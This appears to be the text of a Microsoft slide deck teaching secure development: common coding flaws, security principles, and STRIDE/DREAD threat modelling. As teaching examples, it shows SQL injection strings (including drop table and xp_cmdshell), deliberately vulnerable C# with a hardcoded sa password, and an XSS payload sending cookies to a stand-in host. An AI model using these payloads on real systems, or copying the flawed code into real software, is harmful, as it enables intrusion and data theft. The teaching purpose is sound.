Microsoft Platform Security - An Overview Prasad Nelabhotla Security Consultant ACE Security Team Microsoft India
Agenda Avoiding Common Mistakes Principles to live by Knowing the Enemy Conclusion
App level Vulnerabilities Hackers worked overtime in October 07 and defaced over 143 Indian websites during the month compared to just 60 sites that were defaced during September 07. Times of India - http://infotech.indiatimes.com/quickiearticleshow/msid-2545991.cms Source : http://blogs.technet.com/security/archive/2006/10/17/2006-january-through-september-vulnerabilitytrends.aspx
Common Mistakes 1. Buffer overruns 2. Format String Problems 3. Integer Overflows 4. Dynamic SQL 5. Command Injection 6. Failure to Handle Errors 7. Cross-Site Scripting 8. Failure to Protect Network Traffic 9. Use of Magic URLs and Hidden Forms 10.Improper Use of SSL 11. Use of Weak Passwordbased Systems 12. Failure to Store and Protect Data Securely 13. Information Leakage 14. Trusting Network Address Resolution 15. Improper File Access 16. Race Conditions 17. Unauthenticated Key Exchange 18. Failure to Use Cryptographically Strong Random Numbers 19. Poor Usability
Common Mistakes 1. Buffer overruns 2. Format String Problems 3. Integer Overflows 4. Dynamic SQL 5. Command Injection 6. Failure to Handle Errors 7. Cross-Site Scripting 8. Failure to Protect Network Traffic 9. Use of Magic URLs and Hidden Forms 10.Improper Use of SSL 11. Use of Weak Passwordbased Systems 12. Failure to Store and Protect Data Securely 13. Information Leakage 14. Trusting Network Address Resolution 15. Improper File Access 16. Race Conditions 17. Unauthenticated Key Exchange 18. Failure to Use Cryptographically Strong Random Numbers 19. Poor Usability
What s Wrong Here? string Status = "No"; string sqlstring = ""; try { SqlConnection sql = new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.open(); sqlstring = "SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.executescalar()!= 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.errors) { Status += e.message + "\n\r"; } } catch (Exception e) { Status = e.tostring(); }
Why It s Wrong (1 of 2) sqlstring="select HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Good Guy SELECT HasShipped FROM Shipment WHERE ID='1001' Not so Good Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- '
Why It s Wrong (2 of 2) sqlstring="select HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Really Bad Guy SELECT HasShipped FROM Shipment WHERE ID= '1001 ; drop table orders -- ' Downright Evil Guy SELECT HasShipped FROM Shipment WHERE ID= '1001 ; exec xp_cmdshell('...') -- '
SQL Injection - Causes Loose or unchecked SQL parameter input. Statements are submitted and executed from a priveledged SQL account SqlConnect sql=new SqlConnect("data source=myserver;user id=sa;password=password;"); Arbitrary statements are allowed to execute CREATE PROCEDURE sp_myproc @input varchar(128) AS EXEC (@input)
SQL Injection - Mitigation Input Validation Parameterized Queries with Stored Procedures
Common Mistakes 1. Buffer overruns 2. Format String Problems 3. Integer Overflows 4. SQL Injection 5. Command Injection 6. Failure to Handle Errors 7. Cross-Site Scripting 8. Failure to Protect Network Traffic 9. Use of Magic URLs and Hidden Forms 10.Improper Use of SSL 11. Use of Weak Passwordbased Systems 12. Failure to Store and Protect Data Securely 13. Information Leakage 14. Trusting Network Address Resolution 15. Improper File Access 16. Race Conditions 17. Unauthenticated Key Exchange 18. Failure to Use Cryptographically Strong Random Numbers 19. Poor Usability
How would you deface this? /location=<script>document.images[4].src= "http://www.badsite.com/news.jpg"</script>
XSS in Action Cookie Stealing Welcome.asp Hello, <%= request.querystring( name )%> <a href=http://www.insecuresite.com/welcome.asp?name=cf2 <script> document.write( <img src= http://gotcha.com/ %2bdocument.cookie%2b> ) </script> here</a>
XSS - Mitigation Input Validation Use white list approach Use regular expression Optional ASP.Net ValidateInput Output Encode HTML Encode Anti XSS Library Download: http://msdn2.microsoft.com/enus/security/aa973814.aspx
Common Mistakes 1. Buffer overruns 2. Format String Problems 3. Integer Overflows 4. SQL Injection 5. Command Injection 6. Failure to Handle Errors 7. Cross-Site Scripting 8. Failure to Protect Network Traffic 9. Use of Magic URLs and Hidden Forms 10.Improper Use of SSL 11. Use of Weak Passwordbased Systems 12. Failure to Store and Protect Data 13. Information Leakage 14. Trusting Network Address Resolution 15. Improper File Access 16. Race Conditions 17. Unauthenticated Key Exchange 18. Failure to Use Cryptographically Strong Random Numbers 19. Poor Usability
Storing Secrets Software cannot defend itself, therefore: Storing secrets securely in software is impossible! Embedded secrets don t stay secret for long
Encryption or Encraption? XOR is not your friend! Don t roll your own crypto algorithms Use System.Security.Cryptography Evaluate based on usage Are algorithms appropriate? Use AES (Rijndael) for symmetric encryption Use SHA-1 or better for hashing
Key Management Keys are literally the keys to the castle the weakest point in the defense Common key management mistakes Hard coding key values anywhere in the source, including resource files Failure to protect key data in memory or when persisted to file Using key data too often in your application, the more you use it the more chances an attacker will have to steal it Generating the key from a password that is not strong enough
Cryptography - Mitigations Don t use home-grown crypto solutions Never hardcode keys Use DPAPI Avoid passing secrets around in memory
Defending Against Hacking
Principles to Live By
Rule #1 - Trust No Input All input is evil, until proven otherwise! Buffer Overruns 101011011011011 101011011011010110110010101101 SQL Injection Blake Blake or 1=1 -- Cross-Site Scripting Blake <script>var i=document</script>
Do NOT look only for bad things It assumes you know all the bad things
Rule #2 Practice Defense in Depth
Defense in Depth Assume you are the last piece of code standing Everything in front of you is destroyed Now protect yourself! We re secure, we use a firewall!
Defense in Depth Apply Appropriate Measures for Each Layer Check security Check security Application2.dl l Application.exe Check security Secure resource with an ACL Application.dll Check security
Rule #3 - Run With Least Privilege Don t require apps to run with excessive privilege Is it an ACL requirement? Is it a privilege requirement? Revert back to minimum privileges after the task is complete If we don t run as admin, stuff breaks!
More Security Principles to Live By Secure Weakest Link First Assume External Systems are Insecure Minimize Attack Surface Use Secure Defaults Use Apt Access Control Security Features!= Secure Features There is no Security thru Obscurity Don t Re-invent the Wheel Don't Mix Code and Data Don't Forget Privacy
Knowing the Enemy
Why Threat Model? Principle behind threat modeling: One can t feasibly build a secure system until one understands the threats against it Why threat model? Identify threats prior to development Create a defensive security strategy Threat Model to enable application risk management throughout the SDLC and beyond!
Benefits Benefits for Application Teams Translates technical risk to business impact Provides a security strategy Prioritize security features Understand value of countermeasures Benefits for Security Team More focused Security Assessments Translates vulnerabilities to business impact Improved Security Awareness Bridges the gap between security teams and application teams
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Where to do TM? Security Kickoff Security Training Security Design Best Practices Security Arch & Attack Surface Review Threat Modeling Use Security Development Tools & Security Best Dev & Test Practices Create Security Docs and Tools For Product Prepare Security Response Plan Security Push Pen Testing Final Security Review Security Servicing & Response Execution Traditional Microsoft Software Product Development Lifecycle Tasks and Processes Feature Lists Quality Guidelines Arch Docs Schedules Functional Specifications Design Specifications Development of New Code Testing and Verification Bug Fixes Code Signing A Checkpoint Express Signoff RTM Product Support Service Packs/ QFEs Security Updates Requirements Design Implementation Verification Release Support & Servicing
Definitions: Threat, Attack, Vulnerability And Countermeasure Threat Realized through Attacks Materialize through Vulnerabilities Mitigated with Countermeasures Possibility of something bad happening How it happens (the exploit) Why it happens (the cause) How to prevent it (the fix)
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Define Scenarios & Background Info Define the most common and realistic use scenarios for the application Example from Windows Server 2003 and Internet Explorer Think about an admin browsing the Internet from a Domain Controller Example from Windows CE The stolen device Define your users
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Data Flow Diagrams Representation of how data enters, leaves, and traverses your component Not a Class Diagram or Flow Chart! Shows all data sources and destinations Shows all relevant processes that data goes through * Diagrams taken from Writing Secure Code, 2 nd Edition
Implementation Examples External Entity Process Data Flow Data Store Real People Services Function call Database News feeds Data feeds Events Notifications Web Services Assemblies DLLs EXEs COM object Network traffic Shared memory File Registry Shared Memory Queue/Stack
Building DFDs Context Level 1 Level 0 Level 2 Context Diagram Very high-level; entire component / product / system Level 0 Diagram High level; single feature / scenario Level 1 Diagram Low level; detailed subcomponents of features Level n Diagram Even more detailed; unlikely to go beyond Level 2
Pet Shop: Context Diagram Request View Files and Logging Data Users (1.0) Pet Shop (4.0) Admin (3.0) Response Apply Settings Request Anonymous User (2.0) Response Source: Secure Development Lifecycle - Mike Howard, Steve Lipner (MS Press)
Pet Shop: Level Zero DFD Customer (1.0) Request 1 Web App Config (4.1) R CRU CU R User Profile (4.5) R CU User Profile Data (4.8) Response CU 1 CRUD Request Web App 4.2 R Membership (4.6) R CU Membership Data (4.9) Anon User (2.0) Response R Web Pages (4.3) 1 CRUD CU R Ordering (4.7) 1 CRUD 1 Admin (3.0) Source: Secure Development Lifecycle - Mike Howard, Steve Lipner (MS Press)
Pet Shop: Level One DFD (Order Processing) CRD (purge) CRUD Audit Log 4.7.10 1 1 Orders 4.7.6 Write Audit Entry Logging Engine 4.7.9 R Web App 4.2 CU 1 Admin (3.0) Create Audit Entry Order Processor 4.7.1 Place Order Get Order Status Or Confirmation Synch Order 4.7.2 Get Order Status Or Confirmation Place Order Asynch Order 4.7.3 Place Order Get Order Status Or Confirmation 1 Place Order 1 CRUD CRUD Get Order Status Or Confirmation CRU Data Access 4.7.4 RU Inventory 4.7.7 Asynch Orders 4.7.8 CRU Queuing 4.7.5 Source: Secure Development Lifecycle - Mike Howard, Steve Lipner (MS Press)
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Threat Types: STRIDE Spoofing Tampering Repudiation Information Disclosure Denial of Service Elevation of Privilege
How to determine STRIDE Is this item susceptible to spoofing? Can this item be tampered with? Can an attacker repudiate this action? Can an attacker view this item? Can an attacker deny service to this process or data flow? Can an attacker elevate their privilege by attacking this process?
Asset S T R I D E External Entity Process Data Store Data Flow
Threats by Assets: External Entities
Threats by Assets: Processes
Threats by Assets: Data Stores
Threats by Assets: Data Flows
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Threat Trees Threat Primary Threat Condition Condition And Clause Or Clause Condition Condition Condition Condition Each Leaf Node is a Secondary Threat to be Evaluated
Threat Tree Pattern Tampering with datastore Null Protection Scheme Bypass Protection Scheme Violate store semantics Overcapacity failures Canonicalization failure Overly permissive protection Other Null monitor Bypass monitor Discard Wraparound Other Extra-monitor access Tampering against monitor process EoP against monitor process
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Measuring Risk: DREAD Damage Potential Reproducibility Exploitability Affected Users Discoverability
Using DREAD to Calculate Risk Risk = Impact x Probability Impact derived from: Damage Potential Affected Users Probability derived from: Discoverability Exploitability Reproducibility
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Mitigation Options Leave as-is Remove from product Remedy with technology countermeasure Warn user
Threat Modeling Process Define Scenarios Create DFD Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
Threat Modeling Process Define Scenarios Create DFD Manual Rote Determine Threat Types Leverage Threat Trees Determine Risk Plan Mitigations
CVE Data for Database level Vulns
CVE Data for OS level Vulns
Security Tools Visual C++ /GS Switch Mitigation against Buffer Overruns, Int Overflows FxCop Static Code Analysis Tool Enforces Design and Code Correctness PermCalc Calculate minimum permissions required to run code
Security Tools - ACE Tools SPIDER: Security Profiler Intelligent Detection Engine for Remediation is a Computer Assisted Audit Technique (CAAT). CAATs can be used in a fiduciary audit environment to ensure regulatory compliance and to provide visibility into the strategic and technical management of mission critical systems to industry best practice standards. TAMe: Threat Analysis and Modeling tool for enterprise. Is the enterprise version of the famous Threat Analysis and Modeling (TAM) tool which is available on MSDN for free download. Download : http://www.microsoft.com/downloads/details.aspx?familyid=59888078-9daf-4e96-b7d1-944703479451&displaylang=en
Threat Modeling- for Apps TAM v2 (2006) TAM Enterprise (2007) TAM v1 (2004)
Video Threat Modeling using TAM
Measure Validate Model Define Threat Modeling for Applications Application Context Data A.C.M. Use Cases Generate Threats Identify Countermeasures Determine Risk Response Determine Impact/Prob of Risk Validate / Optimize Threat Model Manual Generated
Video TAM Analytics
In Summary Avoiding Common Mistakes Is Easy if you are Careful Read 19 Deadly Sins of Software Security Principles to Live By Incorporate in daily coding Read Writing Secure Code 2 nd Ed Knowing the Enemy Model Threats: Need to know what you are fighting against Read Secure Development Lifecycle Tools and Technology to Use Ship as a part of the OS and Visual Studio ACE Tools TAMe/SPIDER/CAT.NET
Application Security Consulting Services Services offered by Microsoft ACE Services: Application Security Code Reviews Threat Modeling/Design Reviews Training: Secure Application Development Threat Modeling Assistance with developing and deploying SDL-IT within your environment Contact pranel@microsoft.com SDL-IT@microsoft.com
Questions? pranel@microsoft.com ACE Team Blog Site: http://blogs.msdn.com/ace_team/default.aspx